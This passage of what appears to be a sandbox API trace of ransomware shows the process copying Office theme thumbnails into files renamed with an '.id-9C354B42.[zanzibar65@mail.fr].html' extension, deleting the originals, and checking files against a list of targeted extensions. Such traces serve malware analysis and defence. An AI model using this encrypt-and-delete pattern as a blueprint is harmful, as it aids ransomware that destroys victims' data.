dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.852] GetLastError () returned 0x0 [0042.852] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0043.150] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0043.152] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.152] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.152] SetEndOfFile (hFile=0x20c) returned 1 [0043.152] CloseHandle (hObject=0x20c) returned 1 [0043.152] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.152] SetEndOfFile (hFile=0x1f8) returned 1 [0043.153] CloseHandle (hObject=0x1f8) returned 1 [0043.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.153] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString=".doc") returned 4 [0043.154] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.154] lstrlenW (lpString=".docx") returned 5 [0043.154] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.154] lstrlenW (lpString=".pdf") returned 4 [0043.154] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.154] lstrlenW (lpString=".xls") returned 4 [0043.154] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.154] lstrlenW (lpString=".xlsx") returned 5 [0043.154] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.154] lstrlenW (lpString=".ppt") returned 4 [0043.154] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString=".zip") returned 4 [0043.154] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.154] lstrlenW (lpString=".rar") returned 4 [0043.154] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.154] lstrlenW (lpString=".bz2") returned 4 [0043.154] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.154] lstrlenW (lpString=".7z") returned 3 [0043.154] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString=".dbf") returned 4 [0043.154] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString=".1cd") returned 4 [0043.154] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.154] lstrlenW (lpString=".jpg") returned 4 [0043.155] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString=".doc") returned 4 [0043.155] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString=".docx") returned 5 [0043.155] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.155] lstrlenW (lpString=".pdf") returned 4 [0043.155] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString=".xls") returned 4 [0043.155] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.155] lstrlenW (lpString=".xlsx") returned 5 [0043.155] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.155] lstrlenW (lpString=".ppt") returned 4 [0043.155] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString=".zip") returned 4 [0043.155] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.155] lstrlenW (lpString=".rar") returned 4 [0043.155] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.155] lstrlenW (lpString=".bz2") returned 4 [0043.155] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString=".7z") returned 3 [0043.155] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString=".dbf") returned 4 [0043.155] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString=".1cd") returned 4 [0043.155] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0043.155] lstrlenW (lpString=".jpg") returned 4 [0043.156] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.156] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.156] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.216] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=43276) returned 1 [0043.218] CloseHandle (hObject=0x218) returned 1 [0043.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0043.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.248] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.248] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.249] GetLastError () returned 0x0 [0043.249] ReadFile (in: hFile=0x200, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0043.251] WriteFile (in: hFile=0x218, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0043.252] ReadFile (in: hFile=0x200, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.252] WriteFile (in: hFile=0x218, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.252] SetEndOfFile (hFile=0x218) returned 1 [0043.252] CloseHandle (hObject=0x218) returned 1 [0043.253] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.253] SetEndOfFile (hFile=0x200) returned 1 [0043.254] CloseHandle (hObject=0x200) returned 1 [0043.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.254] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0043.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.254] lstrlenW (lpString=".doc") returned 4 [0043.254] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.254] lstrlenW (lpString=".docx") returned 5 [0043.254] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.254] lstrlenW (lpString=".pdf") returned 4 [0043.254] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.254] lstrlenW (lpString=".xls") returned 4 [0043.254] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.254] lstrlenW (lpString=".xlsx") returned 5 [0043.254] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.255] lstrlenW (lpString=".ppt") returned 4 [0043.255] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString=".zip") returned 4 [0043.255] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.255] lstrlenW (lpString=".rar") returned 4 [0043.255] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.255] lstrlenW (lpString=".bz2") returned 4 [0043.255] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString=".7z") returned 3 [0043.255] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString=".dbf") returned 4 [0043.255] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString=".1cd") returned 4 [0043.255] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString=".jpg") returned 4 [0043.255] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.255] lstrlenW (lpString=".doc") returned 4 [0043.255] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString=".docx") returned 5 [0043.255] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.255] lstrlenW (lpString=".pdf") returned 4 [0043.255] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.255] lstrlenW (lpString=".xls") returned 4 [0043.255] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.255] lstrlenW (lpString=".xlsx") returned 5 [0043.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.255] lstrlenW (lpString=".ppt") returned 4 [0043.256] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.256] lstrlenW (lpString=".zip") returned 4 [0043.256] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.256] lstrlenW (lpString=".rar") returned 4 [0043.256] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.256] lstrlenW (lpString=".bz2") returned 4 [0043.256] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.256] lstrlenW (lpString=".7z") returned 3 [0043.256] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.256] lstrlenW (lpString=".dbf") returned 4 [0043.256] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.256] lstrlenW (lpString=".1cd") returned 4 [0043.256] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0043.256] lstrlenW (lpString=".jpg") returned 4 [0043.256] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.256] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.256] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.709] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=20575) returned 1 [0043.709] CloseHandle (hObject=0x208) returned 1 [0043.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0043.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.709] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.709] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.709] GetLastError () returned 0x0 [0043.710] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x505f, lpOverlapped=0x0) returned 1 [0043.923] WriteFile (in: hFile=0x174, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0043.925] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.925] WriteFile (in: hFile=0x174, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.925] SetEndOfFile (hFile=0x174) returned 1 [0043.925] CloseHandle (hObject=0x174) returned 1 [0043.925] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.925] SetEndOfFile (hFile=0x208) returned 1 [0043.926] CloseHandle (hObject=0x208) returned 1 [0043.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0043.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.927] lstrlenW (lpString=".doc") returned 4 [0043.927] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.927] lstrlenW (lpString=".docx") returned 5 [0043.927] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.927] lstrlenW (lpString=".pdf") returned 4 [0043.927] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.927] lstrlenW (lpString=".xls") returned 4 [0043.927] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.927] lstrlenW (lpString=".xlsx") returned 5 [0043.927] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.927] lstrlenW (lpString=".ppt") returned 4 [0043.927] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.927] lstrlenW (lpString=".zip") returned 4 [0043.927] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.927] lstrlenW (lpString=".rar") returned 4 [0043.927] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.927] lstrlenW (lpString=".bz2") returned 4 [0043.927] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.927] lstrlenW (lpString=".7z") returned 3 [0043.927] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.927] lstrlenW (lpString=".dbf") returned 4 [0043.927] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString=".1cd") returned 4 [0043.928] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString=".jpg") returned 4 [0043.928] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString=".doc") returned 4 [0043.928] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString=".docx") returned 5 [0043.928] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.928] lstrlenW (lpString=".pdf") returned 4 [0043.928] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString=".xls") returned 4 [0043.928] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.928] lstrlenW (lpString=".xlsx") returned 5 [0043.928] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.928] lstrlenW (lpString=".ppt") returned 4 [0043.928] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString=".zip") returned 4 [0043.928] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.928] lstrlenW (lpString=".rar") returned 4 [0043.928] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.928] lstrlenW (lpString=".bz2") returned 4 [0043.928] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString=".7z") returned 3 [0043.928] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.928] lstrlenW (lpString=".dbf") returned 4 [0043.928] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.929] lstrlenW (lpString=".1cd") returned 4 [0043.929] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0043.929] lstrlenW (lpString=".jpg") returned 4 [0043.929] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.929] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.929] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.049] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=32433) returned 1 [0044.049] CloseHandle (hObject=0x1f8) returned 1 [0044.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0044.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.050] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 